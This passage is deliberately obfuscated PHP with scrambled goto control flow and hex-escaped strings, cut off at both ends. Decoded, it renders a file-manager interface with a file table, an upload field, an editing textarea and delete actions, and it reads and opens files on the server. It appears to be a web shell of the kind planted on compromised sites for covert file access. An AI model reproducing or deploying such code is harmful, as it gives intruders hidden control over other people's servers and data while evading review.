L8Lbl; } goto M6jHu; Pkkht: if (!($X9VNQ === false)) { goto bwqaM; } goto xX01W; qoi18: echo "\74\x2f\x64\x69\166\x3e\xa\40\x20\40\40\x20\40\40\x20\x20\40\x20\40"; goto lBznY; X_iTw: goto LoMUe; goto e_W08; Dkiy8: $FcgCm = @getcwd(); goto k00Jt; HgNcT: Nt0UN: goto Piju1; CujH7: wAdpw: goto NW5Q_; FEwNx: p4z7U: goto JqZMO; XTy1T: goto icIHB; goto BMZkT; yOwFZ: K9GA9: goto QjSWV; dsS0G: goto OX3oQ; goto Zh1Z0; pRjOK: goto Ckk6Z; goto bIuT1; WGF9m: X5KCA: goto SVsPV; MdqlP: goto jQMiO; goto Ndv5S; hOLah: goto CMTpo; goto XyVwM; J73Il: Mxbm2: goto R8zXV; afrEs: gh65r: goto JZheu; TWdhB: $Ha841 = "\x46\x61\151\154\x65\x64\x20\164\x6f\40\x64\x65\x6c\145\164\x65\x20{$HfFpu}\40\x69\x74\145\155\x28\163\51"; goto m0Kq1; QeODf: $Kn7cQ = $lYApr ? @file_get_contents($et0TV . DIRECTORY_SEPARATOR . $lYApr) : null; goto t0Kb4; hvTfI: goto CuoGI; goto MXuo5; Bu7US: $SJmyq = @fopen($Yvvjn, "\162\142"); goto Oyxuk; HC8lh: goto iaFqD; goto Ed0n4; jxIwu: aM_nN: goto nTqZV; Qmptl: goto Ugv0M; goto MhBEJ; MabGz: IHXTM: goto oPPOm; tTnw6: Ckk6Z: goto umzpv; ojcT4: goto oLX0j; goto ABCT8; vb6nM: fxCKn: goto S842F; jpRDt: goto MpE0k; goto Q6EfK; SHe67: echo "\x22\x3e\12\x20\40\x20\40\74\x6c\151\156\x6b\x20\150\x72\x65\146\75\x22\150\164\164\x70\x73\x3a\57\x2f\146\157\x6e\164\163\56\x67\157\x6f\x67\154\x65\x61\160\x69\x73\56\143\157\155\57\143\x73\163\62\x3f\x66\141\x6d\x69\154\171\x3d\x49\x6e\164\145\162\x3a\x77\x67\150\x74\100\63\x30\60\x3b\x34\60\x30\x3b\65\x30\x30\73\66\x30\60\x3b\x37\x30\x30\46\146\x61\155\151\154\x79\x3d\x4a\145\x74\102\x72\141\x69\156\163\53\x4d\x6f\x6e\157\72\x77\147\x68\164\x40\x34\60\x30\73\65\x30\x30\x26\144\x69\x73\160\154\x61\x79\75\163\x77\141\160\x22\x20\x72\x65\x6c\75\x22\x73\x74\171\154\x65\x73\x68\145\145\x74\x22\76\12\40\x20\40\40\x3c\x73\x74\x79\x6c\x65\76\xa\x20\40\x20\x20\x20\40\x20\40\x2a\x20\173\x20\155\141\x72\147\x69\156\72\x20\60\x3b\x20\160\141\144\x64\x69\156\147\72\40\60\73\40\x62\x6f\170\x2d\163\151\x7a\151\156\147\72\x20\142\157\162\x64\x65\x72\55\142\157\x78\x3b\x20\x7d\12\40\x20\x20\40\x20\40\40\40\72\162\157\157\164\x20\173\12\40\x20\x20\40\40\x20\x20\40\40\40\40\40\x2d\x2d\x62\x67\72\x20\43\61\60\x30\x61\x30\66\x3b\40\55\x2d\163\165\x72\146\x61\x63\x65\72\40\x23\x31\141\x31\x31\60\x61\x3b\x20\55\55\163\165\162\146\x61\x63\145\55\x68\x6f\166\145\x72\72\40\x23\x32\66\x31\141\x31\x30\x3b\12\40\40\40\x20\40\x20\40\40\x20\40\x20\40\55\x2d\142\157\162\144\145\x72\72\x20\43\63\64\62\64\61\x37\x3b\x20\x2d\55\x74\x65\170\x74\72\x20\x23\145\143\145\60\x63\x66\x3b\40\55\55\x74\x65\x78\164\55\x6d\x75\x74\145\x64\72\40\43\x39\143\x38\x35\x36\143\73\xa\x20\40\x20\x20\40\40\40\x20\x20\40\x20\x20\55\x2d\141\x63\x63\145\x6e\x74\72\x20\x23\143\70\x39\x31\x35\x66\x3b\40\x2d\55\x61\143\x63\x65\156\164\55\150\157\x76\x65\162\x3a\x20\x23\x64\x64\x61\145\67\x65\x3b\12\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x2d\55\x73\x75\143\x63\145\163\163\x3a\40\x23\143\x62\x62\70\x39\x32\x3b\x20\x2d\55\144\x61\x6e\x67\x65\x72\x3a\x20\43\144\x30\x36\x35\64\146\x3b\x20\55\x2d\167\141\x72\156\151\x6e\147\72\40\x23\144\71\x39\141\63\143\73\xa\x20\x20\40\40\x20\x20\x20\x20\175\xa\40\40\40\x20\40\40\x20\x20\x62\157\x64\171\x20\173\40\142\x61\143\153\147\x72\x6f\165\156\144\72\40\x76\141\x72\50\x2d\x2d\142\147\x29\x3b\x20\143\x6f\x6c\x6f\x72\72\x20\166\x61\162\50\x2d\55\x74\145\170\x74\51\73\40\x66\x6f\x6e\164\x2d\x66\x61\x6d\x69\x6c\171\72\40\47\x49\x6e\164\145\162\x27\x2c\40\55\141\x70\x70\154\145\x2d\x73\171\163\164\145\x6d\x2c\x20\102\x6c\x69\x6e\x6b\115\x61\x63\x53\x79\163\x74\x65\x6d\106\x6f\x6e\164\54\x20\x73\x61\x6e\x73\55\163\x65\x72\151\x66\73\40\146\157\156\164\55\x73\151\x7a\x65\72\x20\x31\x34\x70\x78\x3b\40\x6c\151\x6e\145\x2d\150\145\151\x67\150\x74\x3a\x20\61\x2e\65\x3b\40\x7d\xa\x20\40\40\x20\40\x20\x20\x20\x2e\143\x6f\156\x74\x61\151\156\x65\x72\x20\x7b\40\x6d\141\170\55\167\151\x64\164\x68\x3a\40\61\64\x30\60\x70\x78\x3b\x20\155\x61\162\147\151\x6e\x3a\x20\x30\40\x61\x75\164\x6f\x3b\40\160\141\x64\x64\151\x6e\x67\x3a\x20\x33\x32\160\x78\x20\x32\64\160\170\x3b\x20\175\xa\40\40\x20\40\40\x20\40\40\56\150\145\141\144\145\x72\x20\x7b\40\x6d\141\x72\147\x69\x6e\55\142\157\164\x74\x6f\155\x3a\40\x33\x32\x70\x78\x3b\40\x7d\xa\40\x20\x20\x20\x20\x20\x20\x20\56\150\145\x61\x64\x65\162\55\164\x6f\x70\40\x7b\x20\144\x69\x73\160\154\141\x79\72\x20\x66\x6c\145\x78\73\40\141\x6c\151\147\156\55\x69\x74\145\155\163\x3a\x20\x63\145\156\x74\x65\162\x3b\40\x6a\165\163\x74\151\146\x79\55\143\157\156\164\x65\x6e\x74\72\x20\x73\x70\x61\143\145\x2d\x62\x65\164\x77\x65\x65\156\73\x20\155\x61\x72\x67\x69\156\x2d\142\157\164\164\157\155\x3a\40\61\66\160\x78\x3b\x20\x7d\12\40\x20\40\x20\40\x20\x20\40\56\x6c\157\x67\x6f\x20\x7b\40\x64\x69\163\160\x6c\141\171\72\40\146\x6c\145\170\73\40\x61\154\x69\147\x6e\55\151\x74\x65\155\x73\x3a\40\143\145\156\164\145\162\x3b\x20\x67\x61\x70\x3a\40\61\62\160\x78\73\40\x7d\xa\x20\40\x20\x20\40\x20\x20\x20\x2e\x6c\157\x67\157\40\163\166\147\40\x7b\x20\x77\x69\144\x74\x68\72\x20\x34\x30\160\x78\x3b\x20\150\145\x69\147\150\164\72\x20\x34\60\160\170\73\x20\x7d\12\x20\40\40\x20\x20\40\40\x20\56\154\157\x67\x6f\55\164\145\x78\x74\40\x7b\x20\146\x6f\156\164\x2d\x73\x69\172\145\72\40\x32\70\x70\170\x3b\40\146\157\156\x74\x2d\x77\x65\151\x67\150\164\72\40\67\x30\x30\73\x20\154\x65\x74\164\x65\x72\55\163\160\x61\x63\151\156\147\72\x20\55\60\x2e\x35\x70\x78\x3b\40\175\12\40\40\x20\x20\x20\40\x20\40\x2e\154\157\147\x6f\55\164\145\x78\164\40\x73\160\x61\x6e\x20\173\40\x63\157\154\157\162\72\40\x76\141\x72\x28\55\x2d\141\143\143\x65\156\x74\x29\x3b\40\175\xa\40\x20\x20\x20\x20\x20\x20\x20\56\x63\141\x72\144\x20\x7b\40\142\x61\x63\153\x67\162\157\x75\x6e\144\x3a\40\166\x61\x72\50\55\55\163\165\x72\146\141\143\x65\x29\73\40\142\x6f\162\x64\x65\x72\72\40\x31\160\x78\x20\163\x6f\x6c\x69\x64\x20\166\141\162\x28\x2d\55\142\157\x72\144\x65\162\x29\73\x20\x62\x6f\x72\x64\x65\162\55\x72\x61\144\151\165\x73\72\x20\61\x32\x70\x78\73\x20\157\166\x65\162\146\x6c\x6f\x77\72\x20\x68\151\x64\x64\x65\x6e\73\40\175\xa\40\x20\x20\40\x20\x20\x20\x20\56\x63\x61\x72\x64\x2d\150\145\x61\x64\x65\x72\40\x7b\40\160\141\x64\x64\151\156\x67\72\40\61\x36\160\170\40\62\x30\x70\x78\x3b\x20\142\157\162\144\145\x72\55\142\x6f\164\x74\x6f\x6d\x3a\x20\61\x70\170\40\163\157\154\x69\x64\40\166\141\x72\x28\55\x2d\x62\157\x72\x64\145\162\51\x3b\x20\144\x69\x73\x70\x6c\x61\x79\x3a\x20\146\154\145\170\73\40\141\x6c\151\x67\x6e\55\x69\x74\145\x6d\x73\x3a\40\143\145\156\x74\x65\x72\x3b\x20\152\x75\163\164\151\x66\171\x2d\143\157\156\x74\145\x6e\x74\x3a\x20\x73\x70\141\x63\145\x2d\142\145\164\167\x65\145\x6e\73\40\175\xa\40\x20\40\x20\x20\40\x20\x20\x2e\x63\x61\x72\x64\55\x74\x69\x74\x6c\145\40\x7b\x20\x66\157\156\164\55\x73\151\172\145\72\40\x31\x34\160\170\x3b\40\x66\157\156\x74\x2d\167\x65\151\x67\x68\x74\x3a\x20\x36\x30\x30\73\x20\144\x69\163\160\x6c\x61\171\x3a\40\146\x6c\145\170\73\40\141\x6c\151\147\x6e\55\x69\164\x65\x6d\x73\x3a\x20\x63\x65\156\x74\145\x72\x3b\40\147\141\x70\72\x20\x38\x70\x78\x3b\40\175\xa\40\40\x20\x20\40\40\x20\x20\56\x63\x61\162\x64\x2d\x62\x6f\x64\171\x20\x7b\40\160\141\144\144\151\156\147\72\x20\62\60\160\x78\73\40\175\12\x20\x20\40\x20\40\x20\x20\40\x2e\141\x6c\145\162\164\x20\173\x20\160\141\x64\x64\x69\x6e\147\x3a\40\61\64\x70\x78\x20\61\70\160\170\73\x20\x62\x6f\x72\144\145\162\55\162\141\144\x69\165\163\72\x20\70\160\170\73\x20\x6d\141\162\x67\151\156\55\142\x6f\x74\164\x6f\x6d\72\x20\x32\x30\x70\170\x3b\40\x66\x6f\x6e\x74\x2d\163\x69\x7a\145\72\x20\x31\64\x70\x78\x3b\40\144\x69\x73\x70\x6c\141\171\x3a\40\x66\154\x65\x78\x3b\x20\x61\154\151\147\x6e\x2d\151\164\145\x6d\x73\72\40\x63\x65\156\x74\x65\162\x3b\x20\147\141\160\72\x20\x31\x32\x70\x78\x3b\40\x7d\xa\40\x20\40\x20\40\40\x20\x20\x2e\x61\x6c\x65\162\164\55\163\x75\143\143\145\x73\163\40\x7b\x20\142\x61\x63\153\147\x72\157\165\156\x64\72\40\x72\x67\x62\141\50\62\60\63\54\61\70\64\x2c\61\64\66\x2c\60\x2e\61\65\51\73\40\x62\x6f\162\x64\145\162\x3a\40\61\160\x78\x20\x73\157\154\151\x64\40\x72\147\x62\141\50\x32\x30\63\54\61\x38\x34\54\61\64\x36\x2c\x30\x2e\x34\51\73\40\x63\x6f\x6c\157\x72\72\40\x76\x61\162\x28\x2d\55\x73\165\143\x63\145\163\163\51\73\40\x7d\xa\40\40\x20\40\40\x20\x20\40\56\141\154\x65\x72\x74\55\x64\x61\156\147\145\x72\x20\173\x20\x62\x61\x63\x6b\x67\x72\x6f\165\x6e\144\72\x20\x72\147\142\141\50\62\x30\70\54\61\x30\61\x2c\x37\71\54\x30\x2e\61\65\51\x3b\x20\x62\x6f\x72\144\145\x72\72\40\61\x70\x78\x20\x73\157\x6c\151\x64\x20\162\147\x62\141\x28\x32\x30\x38\x2c\61\x30\x31\54\67\x39\54\x30\56\x34\51\x3b\x20\x63\157\x6c\157\162\72\x20\166\141\162\50\55\x2d\144\x61\156\x67\x65\162\51\x3b\40\175\12\40\40\40\x20\x20\x20\x20\x20\56\x61\154\145\162\164\x20\x73\x76\x67\40\x7b\x20\167\151\144\164\x68\72\x20\62\x30\160\170\x3b\40\x68\145\151\x67\x68\164\72\x20\x32\60\x70\x78\x3b\x20\x66\x6c\x65\x78\x2d\163\150\162\151\x6e\153\x3a\x20\60\x3b\40\x7d\xa\40\x20\40\x20\40\x20\x20\40\56\x69\x6e\160\165\164\x2d\147\162\157\x75\x70\x20\173\x20\x64\151\163\160\154\141\171\72\x20\146\154\x65\x78\x3b\x20\147\x61\x70\72\40\61\x30\160\x78\x3b\x20\155\x61\x72\147\x69\x6e\55\142\157\164\164\x6f\155\72\40\61\x32\160\x78\73\x20\x7d\12\x20\40\x20\x20\x20\x20\x20\40\56\151\x6e\x70\x75\x74\55\x67\x72\x6f\x75\160\x3a\154\x61\x73\x74\55\x63\150\x69\x6c\x64\x20\173\x20\x6d\141\162\x67\151\156\55\142\x6f\x74\164\x6f\155\x3a\x20\60\x3b\x20\x7d\xa\40\x20\40\x20\x20\40\x20\40\x69\x6e\x70\x75\164\x5b\x74\171\x70\145\75\42\x74\145\170\x74\x22\x5d\54\40\151\156\160\165\x74\133\x74\171\x70\x65\x3d\42\146\151\154\145\42\x5d\x2c\x20\164\145\170\164\x61\x72\145\141\x20\x7b\x20\142\141\x63\x6b\147\x72\157\x75\156\x64\72\x20\x76\x61\162\x28\55\55\x62\x67\51\x3b\40\x62\x6f\x72\x64\x65\162\72\40\61\160\x78\40\163\x6f\154\151\x64\40\x76\141\162\50\55\55\142\x6f\x72\x64\145\x72\51\x3b\40\142\x6f\x72\x64\x65\x72\55\162\141\x64\151\165\163\x3a\40\x38\160\170\x3b\40\160\x61\144\144\x69\x6e\x67\x3a\x20\x31\62\160\x78\40\61\64\x70\x78\x3b\40\x63\x6f\154\157\x72\x3a\40\166\x61\162\x28\55\x2d\164\145\x78\x74\x29\x3b\x20\x66\x6f\x6e\x74\x2d\x73\151\172\145\x3a\40\x31\64\160\x78\x3b\x20\157\165\164\x6c\x69\156\145\x3a\x20\156\157\x6e\145\x3b\x20\164\x72\x61\x6e\x73\151\164\151\x6f\x6e\72\40\x62\157\162\x64\145\x72\x2d\x63\x6f\154\157\x72\x20\x30\x2e\62\163\x2c\40\142\x6f\x78\x2d\x73\x68\x61\144\157\167\40\60\56\x32\163\73\40\x7d\12\40\40\x20\40\40\40\40\x20\151\x6e\160\165\x74\x5b\x74\171\x70\x65\75\42\164\145\170\164\x22\135\72\146\157\143\165\163\54\x20\x74\145\x78\164\141\x72\145\141\x3a\x66\157\143\165\163\x20\x7b\x20\x62\x6f\x72\x64\x65\162\x2d\x63\157\154\157\x72\x3a\x20\x76\141\x72\50\x2d\x2d\x61\143\143\145\x6e\164\51\x3b\x20\142\x6f\170\x2d\163\x68\141\x64\157\167\x3a\x20\x30\x20\60\40\x30\40\63\x70\170\40\x72\x67\x62\141\50\62\x30\60\54\x31\64\65\54\71\65\x2c\x30\56\x32\x35\x29\x3b\x20\175\12\x20\x20\40\x20\40\x20\x20\x20\151\x6e\x70\x75\164\133\x74\x79\x70\145\x3d\42\146\x69\154\x65\42\x5d\40\x7b\40\143\165\x72\163\x6f\x72\x3a\40\160\157\151\x6e\164\x65\162\x3b\x20\x66\154\x65\170\72\x20\61\73\40\x7d\12\40\x20\40\40\40\40\x20\40\151\156\x70\165\x74\x5b\x74\171\160\145\75\42\146\x69\x6c\145\x22\135\x3a\72\146\x69\154\x65\55\x73\x65\x6c\x65\143\164\x6f\x72\x2d\x62\x75\x74\164\157\x6e\40\x7b\x20\x62\x61\x63\153\147\x72\157\x75\156\144\x3a\40\x76\141\162\x28\55\x2d\x73\x75\x72\146\141\143\145\55\150\x6f\x76\x65\x72\51\x3b\40\x63\x6f\154\157\x72\72\x20\166\141\162\x28\55\55\x74\x65\x78\x74\51\73\40\x62\157\x72\x64\x65\162\x3a\40\61\160\x78\40\x73\x6f\154\x69\144\40\166\141\x72\50\55\x2d\142\157\162\144\145\162\51\x3b\40\142\157\x72\144\x65\x72\55\162\141\x64\151\x75\163\72\40\66\x70\170\x3b\x20\160\141\144\144\x69\156\x67\x3a\x20\70\x70\170\x20\x31\64\160\170\x3b\40\146\157\x6e\164\x2d\163\x69\x7a\x65\x3a\x20\x31\63\x70\x78\x3b\x20\x63\x75\x72\x73\x6f\x72\72\x20\160\x6f\x69\x6e\x74\x65\x72\x3b\40\155\x61\162\147\x69\156\55\162\151\147\x68\164\x3a\x20\61\62\x70\x78\73\x20\x74\162\x61\156\x73\x69\x74\x69\x6f\156\x3a\40\x62\x61\143\153\147\162\x6f\x75\x6e\144\40\60\x2e\62\x73\x3b\40\x7d\12\40\x20\40\40\x20\x20\40\40\151\156\x70\165\164\133\x74\171\x70\145\x3d\42\x66\151\154\x65\42\x5d\x3a\x3a\x66\151\x6c\x65\x2d\x73\x65\x6c\145\143\x74\x6f\162\55\142\x75\164\x74\157\156\x3a\150\157\166\x65\162\x20\173\40\x62\141\143\x6b\147\x72\157\165\156\x64\x3a\40\166\x61\162\50\x2d\55\142\x6f\x72\144\145\162\51\x3b\x20\175\12\x20\x20\40\x20\x20\40\40\40\164\x65\x78\x74\x61\x72\145\x61\40\173\40\x66\x6f\156\164\x2d\146\x61\x6d\151\x6c\x79\x3a\x20\47\x4a\145\x74\x42\x72\x61\x69\156\x73\x20\115\157\x6e\x6f\x27\x2c\x20\155\157\156\157\x73\x70\141\143\145\x3b\40\162\145\163\x69\172\145\72\x20\x76\x65\162\x74\x69\x63\141\154\x3b\x20\155\151\156\x2d\x68\x65\x69\147\150\164\72\40\x34\x35\x30\160\170\x3b\40\154\151\156\145\x2d\x68\145\151\147\x68\x74\72\40\x31\56\66\x3b\40\x77\151\x64\x74\x68\x3a\x20\61\x30\60\x25\73\x20\142\x6f\170\x2d\x73\x69\172\x69\156\x67\72\40\x62\x6f\x72\144\x65\x72\x2d\x62\x6f\170\x3b\x20\x7d\12\40\x20\40\40\40\40\x20\40\x2e\142\164\156\x20\x7b\x20\144\151\163\x70\x6c\141\171\x3a\x20\x69\156\x6c\151\x6e\x65\x2d\146\x6c\145\x78\x3b\40\141\154\151\147\x6e\x2d\151\164\145\155\163\72\x20\143\145\156\x74\145\162\73\40\152\165\163\x74\x69\x66\171\55\143\x6f\156\x74\145\156\164\x3a\40\x63\x65\156\x74\145\x72\x3b\x20\x67\x61\160\x3a\40\x36\x70\170\x3b\40\160\x61\x64\144\151\x6e\147\x3a\x20\61\x30\x70\170\40\x31\x38\x70\x78\73\x20\146\157\x6e\164\55\x73\151\172\145\72\40\x31\x34\x70\170\x3b\x20\146\x6f\156\164\x2d\167\x65\151\147\x68\x74\x3a\x20\65\60\60\73\40\x62\157\x72\144\145\x72\55\162\x61\x64\x69\165\163\x3a\x20\x38\160\170\73\40\143\165\x72\x73\x6f\x72\72\40\160\157\x69\156\164\x65\162\73\x20\142\x6f\x72\144\145\162\72\x20\61\160\x78\40\163\x6f\154\151\144\40\164\x72\141\156\x73\x70\x61\x72\x65\x6e\x74\73\x20\164\x72\141\156\x73\x69\x74\x69\x6f\x6e\72\x20\x61\154\154\x20\x30\56\x32\x73\73\40\x66\157\x6e\x74\x2d\146\141\155\151\154\x79\x3a\x20\x69\x6e\150\x65\162\x69\164\73\40\x74\145\x78\x74\55\x64\x65\143\157\x72\141\164\151\157\156\72\x20\156\157\x6e\145\x3b\40\175\xa\x20\40\40\x20\x20\40\x20\40\56\x62\164\x6e\x20\x73\x76\x67\40\173\x20\x77\151\x64\164\150\x3a\x20\x31\x36\x70\x78\x3b\x20\x68\x65\151\147\x68\164\72\40\x31\x36\160\x78\73\x20\175\xa\40\x20\40\x20\x20\x20\x20\40\x2e\x62\x74\x6e\55\160\x72\151\x6d\141\162\171\40\x7b\40\x62\141\143\153\x67\x72\x6f\165\156\x64\x3a\x20\166\x61\162\50\55\55\x61\x63\143\x65\x6e\164\51\x3b\x20\x63\x6f\x6c\157\x72\72\40\43\62\141\61\70\61\x30\x3b\x20\175\xa\40\40\40\x20\40\x20\40\40\56\142\x74\156\x2d\160\x72\x69\155\141\x72\171\x3a\150\157\166\x65\x72\40\x7b\40\142\141\143\153\147\162\157\165\156\x64\72\40\x76\141\162\50\55\55\x61\143\143\x65\156\x74\x2d\x68\x6f\x76\145\162\51\x3b\40\175\12\40\40\40\x20\40\40\x20\40\x2e\142\x74\156\55\147\150\157\163\x74\40\173\40\142\x61\x63\153\x67\162\157\x75\x6e\x64\72\40\x74\x72\x61\x6e\x73\160\x61\162\x65\156\x74\73\x20\x63\x6f\x6c\157\x72\72\x20\x76\x61\x72\50\x2d\x2d\x74\x65\170\x74\51\73\40\142\157\x72\144\145\162\x2d\x63\157\154\x6f\x72\72\40\166\141\x72\50\x2d\x2d\x62\157\162\x64\x65\x72\x29\x3b\x20\x7d\xa\x20\40\x20\x20\x20\x20\x20\x20\56\142\x74\x6e\55\147\150\x6f\163\x74\x3a\x68\x6f\x76\145\162\40\x7b\40\142\141\143\153\147\162\157\x75\x6e\144\72\40\x76\141\x72\x28\x2d\x2d\x73\165\162\x66\x61\x63\145\55\x68\x6f\166\x65\162\51\x3b\x20\175\xa\x20\40\x20\x20\40\40\40\40\56\x62\164\156\x2d\163\x75\143\143\145\163\x73\40\x7b\x20\x62\x61\x63\153\x67\162\157\165\156\x64\72\40\x76\141\x72\x28\x2d\55\163\165\143\x63\145\163\x73\x29\x3b\40\143\157\x6c\x6f\x72\x3a\x20\43\x31\x66\61\x61\60\143\x3b\x20\x7d\xa\x20\x20\40\40\40\x20\40\40\56\142\x74\x6e\x2d\x73\x75\143\143\145\163\x73\72\x68\x6f\x76\x65\162\x20\173\x20\146\151\x6c\x74\x65\162\72\40\x62\x72\151\x67\150\164\156\x65\163\163\x28\x31\56\61\x29\x3b\40\x7d\xa\40\x20\x20\x20\x20\40\40\x20\56\142\x74\156\55\144\x61\156\147\x65\162\x20\173\x20\x62\141\x63\153\x67\x72\157\x75\x6e\x64\x3a\40\162\147\142\141\50\x32\x30\70\54\x31\60\x31\x2c\67\71\54\60\x2e\x31\x35\x29\x3b\x20\x63\x6f\154\x6f\162\72\40\x76\141\162\50\x2d\x2d\x64\141\156\147\x65\x72\51\x3b\x20\142\157\162\x64\145\162\55\x63\x6f\x6c\157\162\x3a\x20\x72\x67\142\x61\50\x32\x30\x38\54\x31\x30\61\x2c\67\71\x2c\x30\x2e\64\51\x3b\40\175\xa\40\x20\40\40\x20\40\x20\x20\x2e\x62\164\156\55\144\141\x6e\x67\145\x72\x3a\150\157\x76\145\x72\x20\x7b\40\x62\141\x63\x6b\147\162\157\165\156\144\x3a\x20\x72\x67\142\141\x28\x32\60\x38\54\x31\60\61\54\x37\x39\54\x30\56\62\65\x29\x3b\x20\x7d\12\x20\40\x20\x20\x20\40\40\x20\x2e\x62\x74\x6e\x2d\163\x6d\40\173\40\x70\141\144\x64\151\156\147\72\x20\x36\x70\170\x20\x31\62\x70\x78\x3b\40\x66\x6f\x6e\x74\x2d\x73\x69\172\145\x3a\40\x31\62\160\170\x3b\x20\x7d\12\x20\x20\40\40\40\40\x20\x20\56\146\x69\154\145\55\x74\x61\142\154\145\x20\173\40\167\151\144\164\x68\x3a\40\x31\60\x30\45\73\x20\142\157\x72\144\x65\x72\55\143\x6f\x6c\154\141\x70\163\145\x3a\40\143\157\154\154\x61\x70\x73\145\73\x20\175\xa\x20\x20\x20\40\x20\x20\40\x20\x2e\146\151\154\x65\55\x74\x61\142\x6c\145\x20\164\150\x20\x7b\40\160\x61\x64\144\151\156\147\x3a\x20\61\x32\160\x78\x20\x31\66\x70\x78\73\40\x74\x65\x78\x74\x2d\141\154\151\147\x6e\72\x20\154\x65\x66\164\73\40\x66\x6f\x6e\x74\55\163\x69\x7a\145\72\x20\x31\x31\x70\x78\73\x20\146\157\156\x74\x2d\167\x65\x69\x67\x68\x74\72\x20\66\x30\x30\x3b\x20\164\x65\170\x74\55\164\x72\x61\156\163\x66\157\x72\x6d\x3a\x20\165\x70\x70\x65\162\x63\141\x73\145\x3b\x20\154\145\164\x74\145\x72\55\x73\160\x61\x63\x69\x6e\147\x3a\40\x30\x2e\x35\x70\170\73\40\x63\157\x6c\x6f\162\x3a\x20\166\141\162\50\55\55\164\x65\x78\164\x2d\x6d\165\x74\145\x64\x29\x3b\x20\142\x61\x63\x6b\x67\162\x6f\x75\156\x64\x3a\x20\166\x61\x72\x28\x2d\55\163\x75\x72\x66\141\x63\x65\55\150\157\x76\145\162\51\x3b\40\142\x6f\x72\144\145\162\x2d\x62\157\164\x74\157\x6d\x3a\40\61\160\x78\x20\x73\x6f\154\x69\x64\x20\166\141\x72\50\x2d\x2d\x62\157\x72\144\145\162\51\x3b\x20\175\xa\40\x20\x20\40\40\x20\x20\x20\x2e\x66\151\x6c\145\55\x74\x61\x62\154\x65\x20\164\144\40\173\40\160\141\x64\x64\151\156\x67\72\40\x31\64\x70\x78\x20\x31\66\160\x78\x3b\40\142\x6f\x72\144\145\162\55\142\157\x74\x74\157\155\72\x20\61\160\x78\40\x73\157\154\151\x64\x20\x76\141\162\50\x2d\x2d\x62\x6f\162\x64\145\162\x29\73\x20\x76\145\x72\164\151\x63\x61\154\x2d\x61\x6c\151\147\156\72\x20\155\x69\144\x64\x6c\145\x3b\40\175\12\40\x20\x20\x20\40\40\40\40\56\x66\x69\154\145\55\x74\141\x62\154\x65\40\164\x72\x3a\x6c\x61\x73\x74\55\x63\150\x69\154\144\40\x74\x64\40\173\x20\x62\x6f\x72\144\x65\x72\x2d\x62\x6f\164\164\157\x6d\x3a\40\x6e\157\x6e\145\73\40\x7d\xa\40\40\40\40\40\x20\40\40\56\146\151\154\145\55\x74\x61\142\154\x65\x20\164\x72\72\150\x6f\166\145\162\x20\164\144\x20\173\40\x62\x61\143\153\x67\162\157\165\156\144\x3a\x20\162\147\x62\x61\x28\x32\x30\60\54\x31\64\65\54\x39\x35\54\60\x2e\x30\67\51\73\40\175\xa\40\x20\40\40\40\x20\40\x20\56\146\151\154\145\55\x69\x63\x6f\x6e\40\x7b\40\167\151\144\x74\x68\x3a\40\x32\x38\160\170\73\40\150\145\x69\147\x68\x74\72\x20\x32\70\160\170\x3b\40\x62\157\x72\144\145\x72\x2d\162\141\144\x69\165\x73\x3a\x20\66\x70\170\x3b\x20\x64\151\163\160\x6c\141\x79\x3a\40\x66\154\x65\170\x3b\x20\x61\x6c\151\x67\x6e\55\151\x74\x65\155\163\72\40\143\x65\156\x74\145\x72\73\40\152\x75\x73\x74\151\146\x79\55\143\157\x6e\164\145\x6e\x74\x3a\40\x63\x65\x6e\164\145\162\73\40\x6d\x61\x72\147\151\x6e\x2d\162\151\x67\x68\164\x3a\40\61\60\x70\x78\73\40\x66\154\145\x78\55\163\x68\162\x69\x6e\x6b\72\x20\x30\x3b\40\x7d\12\40\40\40\40\x20\x20\x20\x20\x2e\146\x69\x6c\x65\55\151\x63\157\x6e\x2e\x66\x6f\154\144\x65\x72\x20\x7b\x20\142\141\143\x6b\x67\162\x6f\x75\x6e\x64\72\40\162\x67\x62\x61\50\x32\x30\60\54\x31\x34\65\54\71\65\x2c\60\56\x32\62\x29\x3b\40\175\12\40\40\40\40\x20\40\x20\40\56\146\x69\x6c\145\55\x69\143\157\x6e\x20\163\x76\147\x20\173\x20\x77\x69\144\164\x68\72\x20\x31\x36\160\170\x3b\40\150\x65\151\x67\x68\164\72\40\x31\66\x70\170\73\x20\163\164\x72\x6f\x6b\x65\x3a\x20\166\141\x72\x28\55\55\x61\x63\143\145\x6e\164\x29\x3b\40\146\151\x6c\x6c\x3a\40\x6e\157\x6e\x65\73\40\163\164\x72\157\153\x65\x2d\167\151\144\164\150\72\x20\62\x3b\x20\175\xa\40\x20\x20\40\40\40\x20\x20\x2e\146\151\154\145\55\151\143\157\x6e\56\x66\x69\154\145\x20\x7b\x20\142\x61\143\153\x67\162\157\165\x6e\144\x3a\40\162\147\x62\141\50\x32\x30\60\x2c\61\64\65\x2c\71\65\54\x30\x2e\x31\x35\51\x3b\x20\x7d\12\x20\x20\40\x20\40\x20\40\x20\x2e\x66\151\154\x65\55\x69\x63\x6f\x6e\x20\x2e\x65\x78\x74\40\173\x20\x66\x6f\x6e\164\x2d\163\x69\x7a\x65\72\40\71\160\170\x3b\40\x66\157\x6e\x74\x2d\x77\145\x69\147\150\x74\x3a\40\67\x30\60\73\40\x63\157\x6c\x6f\162\x3a\x20\x76\141\x72\50\55\55\x61\x63\x63\x65\x6e\x74\51\x3b\x20\x6c\145\x74\164\145\x72\55\163\x70\141\x63\151\x6e\147\x3a\x20\x30\x2e\65\160\x78\x3b\x20\x7d\12\40\x20\x20\x20\40\x20\x20\x20\56\x66\151\x6c\x65\x2d\156\x61\x6d\145\x2d\143\x65\x6c\x6c\40\x7b\40\144\x69\x73\160\x6c\x61\x79\72\40\x66\154\145\170\x3b\40\141\x6c\x69\147\156\55\x69\164\x65\155\x73\x3a\40\x63\x65\156\164\145\x72\x3b\40\146\157\x6e\164\x2d\167\x65\151\x67\150\x74\x3a\40\65\60\x30\73\x20\175\xa\40\x20\x20\40\40\40\40\x20\56\146\x69\154\x65\x2d\x6e\141\155\145\x20\x7b\40\x63\x6f\x6c\157\162\72\x20\166\141\x72\50\x2d\x2d\164\x65\170\x74\51\73\40\175\xa\x20\40\40\x20\40\40\40\40\56\146\x69\x6c\x65\55\x6e\141\155\145\x3a\x68\157\166\x65\x72\40\173\x20\143\x6f\154\157\162\x3a\40\166\141\x72\50\55\55\141\x63\143\x65\x6e\164\x29\x3b\x20\175\xa\40\x20\40\40\40\40\40\x20\56\x66\x69\154\x65\x2d\x6d\145\x74\x61\40\x7b\x20\146\157\156\x74\x2d\163\x69\172\x65\x3a\40\x31\62\160\170\